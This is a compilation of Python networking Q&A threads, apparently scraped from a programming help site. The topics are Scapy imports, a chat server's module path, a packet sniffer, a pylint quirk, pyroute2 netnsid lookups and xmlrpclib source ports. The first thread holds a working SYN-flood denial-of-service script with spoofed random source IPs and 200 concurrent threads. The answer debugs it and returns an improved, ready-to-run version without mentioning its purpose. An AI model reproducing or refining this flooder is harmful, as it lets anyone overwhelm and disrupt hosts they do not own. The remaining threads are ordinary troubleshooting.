Scapy in Python script - python

I'm writing a script in Python which use Scapy but my problem is that the exception is:
i = IP()
NameError: global name 'IP' is not defined
This is my script:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, 65535)
t.dport = port
t.flags = 'S'
send(i/t, verbose=0)
count = 0
while True:
if threading.activeCount() < 200:
sendSYN().start()
count += 1
if count % 100 == 0:
print ("\rPackets SYN\t:\t\t\t%i" % count)
What should I do to fix it?

import IP/TCP
You can import all the layers scapy provides directly from the scapy.layers.* subpackage. This is fine as long as you do not require any other functionality like send/sendp/sniff/... or you require some pretty magical layers like ASN.1 that fail and raise an exception if some global initialization that is usually set with importing scapy.all is missing.
The specific import for IP() and TCP() (check your scapy/layers/inet.py)
from scapy.layers.inet import IP, TCP
would be enough as long as you'd only use them for de-/serialization (e.g. assembling/disassembling packets) but since you also require send() you have to import scapy.all like Semih Yagcioglu suggested.
Please note that according to the scapy manual the import line changed from from scapy import * (scapy v1.x) to from scapy.all import * (since scapy v2.x) therefore the following should be fine for you:
from scapy.all import send, IP, TCP
Notice that importing scapy.all is pretty slow as it wildcard imports all the subpackages and does some initialization magic.
That said, you should try to avoid unnecessary wildcard imports (coding style; even though there is not much difference in case of scapy)
from scapy.all import *
python 2.7
scapy v2.3.1 is compatible with python 2.7 on linux.
However it is not that trivial to have it fully functional on windows, see problems with scapy on windows, especially with sending packets over phys wifi nics. Typically windows people run python2.6 with scapy 2.3.1 (note that there might be permission issues when scapy tries to get raw socket access on certain windows versions). To spare you some headaches I strongly recommend to run it on linux (vbox is fine).
working example of your code
The following code is working fine for me on linux, py2.7 scapy 2.3.1:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')
class sendSYN(threading.Thread):
def __init__(self, target):
threading.Thread.__init__(self)
self.ip, self.port = target
def run(self):
pkt = IP(src=RandIP(),
dst=self.ip)/TCP(flags='S',
dport=self.port,
sport=random.randint(0,65535))
send(pkt)
logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))
if __name__=='__main__':
conf.verb = 0 # suppress output
print ("Which Interface would you like to choose? %r"%get_if_list())
iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
conf.iface = iface
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = int(raw_input("-->"))
count = 0
while True:
if threading.activeCount() < 200:
sendSYN((ip, port)).start()
count += 1
if count % 100 == 0:
logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
fixed import
uses logging instead of print
passes target to class instance instead of using globals
added interface selection (must have for windows as scapy uses linux style interface names for both linux and windows which is why you may have to guess the correct one for windows)
globally sets scapy verbosity
uses RandIP() Field instead of manually building a random IP
TCP.sport/dport expects an integer therefore you have to parseInt the value read from stdin.
prints sent packets IP/port using snprintf()

I think you should make the necessary imports for what seems to be missing.
Try this:
from scapy.all import IP
Or this:
from scapy.all import *

It looks like you are using python3 by your "print()" but when you wanted to get an input from the user you used "raw_input" instead of "input"

Related

Python: 'ModuleNotFoundError' when trying to import module from another coding .py file

I'm using Python 3.8.3 on a MacBook Pro (13-inch, 2016, Two Thunderbolt 3 ports)
I'm currently building an online chat and this is my person.py code:
class Person:
"""
Represents a person, hold name, socket client and client addr
"""
def __init__(self, addr, client):
self.addr = addr
self.client = client
self.name = None
def set_name(self, name):
self.name = name
def __repr__(self):
return f"Person({self.addr}, {self.name})"
And this is my server.py coding:
from threading import Thread
import time
from person import Person
# GLOBAL CONSTANTS
HOST = 'localhost'
PORT = 5500
ADDR = (HOST, PORT)
MAX_CONNECTIONS = 10
BUFSIZ = 512
# GLOBAL VARIABLES
persons = []
SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.bind(ADDR) # set up server
def broadcast(msg, name):
"""
send new messages to all clients
:param msg: bytes["utf8"]
:param name: str
:return:
"""
for person in persons:
client = person.client
client.send(bytes(name, "utf8") + msg)
def client_communication(person):
"""
Thread to handle all messages from client
:param person: Person
:return: None
"""
client = person.client
# get persons name
name = client.recv(BUFSIZ).decode("utf8")
person.set_name(name)
msg = bytes(f"{name} has joined the chat!", "utf8")
broadcast(msg, "") # broadcast welcome message
while True:
try:
msg = client.recv(BUFSIZ)
if msg == bytes("{quit}", "utf8"):
client.close()
persons.remove(person)
broadcast(f"{name} has left the chat...", "")
print(f"[DISCONNECTED] {name} disconnected")
break
else:
broadcast(msg, name+": ")
print(f"{name}: ", msg.decode("utf8"))
except Exception as e:
print("[EXCEPTION]", e)
break
def wait_for_connection():
"""
Wait for connetion from new clients, start new thread once connected
:param SERVER: SOCKET
:return: None
"""
run = True
while run:
try:
client, addr = SERVER.accept()
person = Person(addr, client)
persons.append(person)
print(f"[CONNECTION] {addr} connected to the server at {time.time()}")
Thread(target=client_communication, args=(person,)).start()
except Exception as e:
print("[EXCEPTION]", e)
run = False
print("SERVER CRASHED")
if __name__ == "__main__":
SERVER.listen(MAX_CONNECTIONS) # listen for connections
print("[STARTED] Waiting for connections...")
ACCEPT_THREAD = Thread(target=wait_for_connection)
ACCEPT_THREAD.start()
ACCEPT_THREAD.join()
SERVER.close()
The problem is, everytime i try to run the program, it gives me this error:
from person import Person
ModuleNotFoundError: No module named 'person'
Does somebody know how to solve this problem?
The Problem
Most likely, this is a path-finding error. The Python Path will look in the installation's lib and site-packages folders. It will also look at the current working directory. So if you're running one file from another folder but trying to import something it will look in your running directory instead of where the file you're running. Here are two solutions to this problem.
First Solution
You can make the working directory the same as the file you're running. Giving the following file structure:
workingdir
+-- thecode
|-- server.py
+-- person.py
You have the current working directory aka where you're running your command as workingdir so a terminal might look like this:
workingdir % python thecode/server.py
Thus you need to change the working directory to thecode instead. Do cd thecode to get there.
Second Solution
You can instead add the file's directory to the python path. This is held in sys.path, and gets at the end of each python run. Thus, it is best to add to the path at the beginning of your server.py file so that person.py is in your path before you import it. Use something like the following code to do this.
import sys
import os.path
sys.path.append(os.path.split(os.path.abspath(__file__))[0])
# now you may import Person.
from person import Person
The first two modules, sys and os, are pretty standard and will give you the tools to append to the Python path. The os.path.abspath gets the absolute path of your current file, in this case it's server.py. Then os.path.split will get the trailing (all the directories) and the head (the filename) of your absolute path. Finally appending to the sys.path allows Python to find person.py in your file's directory.
Other Solutions (That probably won't be used in this case)
You can also create a custom Python package and install it using pip. This isn't very useful in this case since the import problem is just one file, however, if you ever want to create a custom Python project that other's may use this Python docs article will help.
The final solution (which admittedly I used to do and isn't the best workaround) is to put your file in a folder that's already in the Python path. In this case, it would probably be the lib folder. For me, running Python 3.8 the path is /Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8, for any Python 3.x version this will be the same but the version replaced. Python 2.x has different locations sometimes.

Packet Sniffer using Scapy

I have write code for sniffing packet using scapy in python. And i got some problems that make me confused, showed by this picture below.
enter image description here -> Important
so this is the code
import subprocess
import time
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
try:
from scapy.all import *
except ImportError:
sys.exit()
interface = 'wlp10s0'
subprocess.call(["ifconfig",interface,"promisc"],stdout=None,stderr=None,shell=False)
print 'Interface has been set to Promiscous mode'
totalpackets=0
sniffingtime=10
protocols=0
infinite=1
def timenow():
currenttime=time.strftime("%m%d%y-%H%M%S")
return currenttime
def export():
p = sniff(iface='wlp10s0',timeout=sniffingtime,count=0)
wrpcap('./home/Desktop/' + timenow() + '.pcap',p);
while infinite==1 :
export()
I hope someone can helping me solve this code.
Thank you.
./home/... is an I valid path. Use /home/... instead.
It clearly says “OSerror: No such file or directory”. You may want to lookup those errors ;-)

vscode import error: from scapy.all import IP

vscode said can't find IP in scapy.all
but from terminal, i can import it:
could somebody tell my why?
I get exactly the same issue with my Scapy code in VS Code. I think it's to do with the way pylint is working.
When you from scapy.all import IP, Python loads scapy/all.py, which includes the line from scapy.layers.all import *. scapy/layers/all.py includes this code:
for _l in conf.load_layers:
log_loading.debug("Loading layer %s" % _l)
try:
load_layer(_l, globals_dict=globals(), symb_list=__all__)
except Exception as e:
log.warning("can't import layer %s: %s", _l, e)
conf.load_layers is over in scapy/config.py:
load_layers = ['bluetooth', 'bluetooth4LE', 'dhcp', 'dhcp6', 'dns',
'dot11', 'dot15d4', 'eap', 'gprs', 'hsrp', 'inet',
'inet6', 'ipsec', 'ir', 'isakmp', 'l2', 'l2tp',
'llmnr', 'lltd', 'mgcp', 'mobileip', 'netbios',
'netflow', 'ntp', 'ppp', 'pptp', 'radius', 'rip',
'rtp', 'sctp', 'sixlowpan', 'skinny', 'smb', 'snmp',
'tftp', 'vrrp', 'vxlan', 'x509', 'zigbee']
I suspect that pylint doesn't follow those imports correctly.
I've tried the workarounds suggested in the relevant GitHub issue, but they don't seem to fix anything for Scapy. Pylint eventually added specific workarounds for the issues in Numpy - and no-one has done that for Scapy.
You can work around these issues by directly importing the IP class from the relevant layer at the top of your Python file:
from scapy.layers.inet import IP, UDP, TCP, ICMP
Et voila! No more pylint complaints about those imports.

Retrieving the netnsid of a network namespace in Python

When trying to find the correct peer network interface of a veth pair that lives in a different namespace, that end is not only indicated by its iflink property, but also by a link-netnsid. This link-netnsid is a network namespace ID which is only meaningful within the current network namespace.
The Linux kernel doesn't offer to map a netnsid to a network namespace inode number, which is the only unique identification. However, Linux offers the RTM_GETNSID request that maps a network namespace identified either by fd (NETNSA_FD) or by PID (NETNSA_PID) to the local netnsid.
How do I make such a RTM_GETNSID request in Python, preferably using the pyroute2 library? So far, I could not successfully request the netnsid for the namespace identified by PID, but only get back an invalid argument error 22, using the following script:
from pyroute2 import IPRoute
from pyroute2.netlink import NLM_F_REQUEST
import pyroute2.netlink.rtnl as rtnl
import pyroute2.netlink.rtnl.nsidmsg as nsidmsg
netstack = IPRoute()
req = nsidmsg.nsidmsg()
req['rtgen_family'] = 0
# 12345 is PID of a process inside another network namespace
req['attrs'] = [('NETNSA_PID', 12345)]
ret = netstack.nlm_request(req, rtnl.RTM_GETNSID, NLM_F_REQUEST)
It turns out that my code actually is correct, but there's a bug in pyroute2 causing the RTNETLINK message to be a few octets too short (visible in strace). As a temporary hack around this library bug it is sufficient to set two attributes, so that the kernel accepts the RTNETLINK packet and works on it, even if it isn't fully correct.
from pyroute2 import IPRoute
from pyroute2.netlink import NLM_F_REQUEST
import pyroute2.netlink.rtnl as rtnl
import pyroute2.netlink.rtnl.nsidmsg as nsidmsg
netstack = IPRoute()
req = nsidmsg.nsidmsg()
req['rtgen_family'] = 0
# 12345 is PID of a process inside another network namespace
req['attrs'] = [('NETNSA_PID', 12345), ('NETNSA_PID', 0] # hack around pyroute 0.5.0 bug
ret = netstack.nlm_request(req, rtnl.RTM_GETNSID, NLM_F_REQUEST)

Python: Is it possible to set the clientport with xmlrpclib?

Is it possible to set the clientport for the xmlrpc-connection?
I want to say:
Client should make a ServerProxy-object to over a specific client port
or pseudocode something like this:
serv = xmlrpclib.ServerProxy("server:port","overSpecificClientPort").
Try to define a custom transport. This should be something like that:
import xmlrpclib, httplib
class sourcedTransport(xmlrpclib.Transport):
def setSource(self, src):
self.src = src
def make_connection(self, host):
h = httplib.HTTPConnection(host, source_address= self.src)
return h
srcPort = 43040
srcAddress = ('', srcPort)
p = sourcedTransport()
p.setSource(srcAddress)
server = xmlrpclib.ServerProxy("server:port", transport=p)
EDIT: bug fix httplib.HTTP => httplib.HTTPConnection
And checked that it works, in python 2.7 (but not before)
There is no option for this in module xmlrpclib, but you can create your own by modifying the original version. Assuming you use Linux, fetch /usr/lib/python2.7/xmlrpclib.py. Modify the method make_connection accordingly.
Providing a parameter source_address to HTTPConnection is supported by httplib not before Python version 2.7.
Have fun!

Categories

Resources